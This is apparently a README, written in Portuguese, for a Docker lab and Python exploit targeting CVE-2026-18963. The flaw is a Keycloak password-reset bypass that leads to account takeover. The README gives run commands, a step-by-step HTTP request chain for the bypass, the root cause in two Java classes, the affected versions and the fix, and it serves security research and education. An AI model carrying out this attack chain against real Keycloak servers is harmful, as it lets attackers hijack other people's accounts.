
Laboratório baseado em Docker e exploit em Python para CVE-2026-18963, um bypass do fluxo de redefinição de credenciais do Keycloak que permite a tomada de conta por meio do bypass de verificação de e-mail.
Laboratório que simula a vulnerabilidade CVE-2026-18963 (CVSS 9.1) no Keycloak, permitindo que um atacante assuma o controle de qualquer conta por meio de bypass de verificação de email no fluxo de redefinição de senha.
Apenas para fins de pesquisa de segurança e educação.
docker-compose up -d
Aguarde o Keycloak iniciar (~30-60 segundos).
pip install -r requirements.txt
python setup-lab.py
O script irá criar:
vuln-lab com reset-password habilitadovictim ([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
Opções:
-u / --url: URL do Keycloak (padrão: http://127.0.0.1:8080)-r / --realm: Nome do realm (padrão: vuln-lab)-t / --target: Nome de usuário alvo (padrão: victim)-p / --password: Nova senha (padrão: Pwned123!)-v / --verbose: Ativar saída de debugMailHog UI: http://127.0.0.1:8025 — visualize os emails de reset-password enviados durante o exploit.
docker-compose down -v
Dois bugs combinados no Keycloak formam a cadeia de ataque:
Bug 1 — Corrupção de estado do seletor (DefaultAuthenticationFlow.java):
Quando o usuário clica em "Try Another Way", a auth note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED
é armazenada como "true" (string booleana) em vez do ID do modelo de execução. O valor
"true" não está vinculado a nenhuma execução específica, então ele persiste
ao longo das etapas do fluxo, fazendo com que o seletor seja exibido em contexto incorreto.
Bug 2 — Sucesso de ação incondicional (ResetCredentialEmail.java):
O método action() de ResetCredentialEmail chama context.success() incondicionalmente
sem verificar o action token. Normalmente, action() só é chamado quando o usuário
clica no link do email (que contém o action token). Mas quando o seletor está corrompido, o atacante
pode acionar action() diretamente por meio do processamento do fluxo.
Attacker Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. Inicializa sessão de auth
│<── Login page + cookies ────────────│
│ │
│─── GET /reset-credentials ─────────>│ 2. Redireciona para o fluxo de reset
│<── Username form ──────────────────│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. Corrompe o estado do seletor
│<── Authenticator selector ─────────│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. Envia username pelo seletor
│<── "Check your email" page ────────│ Email enviado, CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. Reentra no fluxo de reset
│<── Corrupted selector (!!!) ───────│ processFlow() vê SELECTOR="true"
│ │ → exibe o seletor para a etapa de email
│ │
│─── POST {} (empty body) ──────────>│ 6. BYPASS: aciona action()
│<── 302 → UPDATE_PASSWORD ─────────│ processAction() não encontra
│ │ authenticationExecution no form
│─── GET /required-action ──────────>│ → cai no ramo action()
│<── Password update form ──────────│ ResetCredentialEmail.action()
│ │ → context.success() (incondicional!)
│ │ → fluxo muda para ResetPassword
│ │
│─── POST password-new=Pwned! ──────>│ 7. Define a nova senha
│<── 302 → /account/ ──────────────│ Account takeover concluído
│ │
└── Login com a nova senha ──────────┘
Em DefaultAuthenticationFlow.processAction(), ao receber o POST:
tryAnotherWay no form → NÃO (form vazio)authenticationExecution no form → NÃO (form vazio)authenticator.action(result) no model da URLComo a URL contém execution=<email_exec_id> (do action do form do seletor), então
ResetCredentialEmail.action() é chamado → retorna context.success() →
o fluxo muda para ResetPassword → exibe o form de definição de senha.
| Produto | Afetado | Corrigido |
|---|---|---|
| Keycloak (upstream) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java:
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow() verifica selector.equals(lastExecutionId) em vez de Boolean.parseBoolean()removeAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java:
action() verifica ACTION_TOKEN_USER_ID antes de chamar context.success()context.failure(INVALID_USER)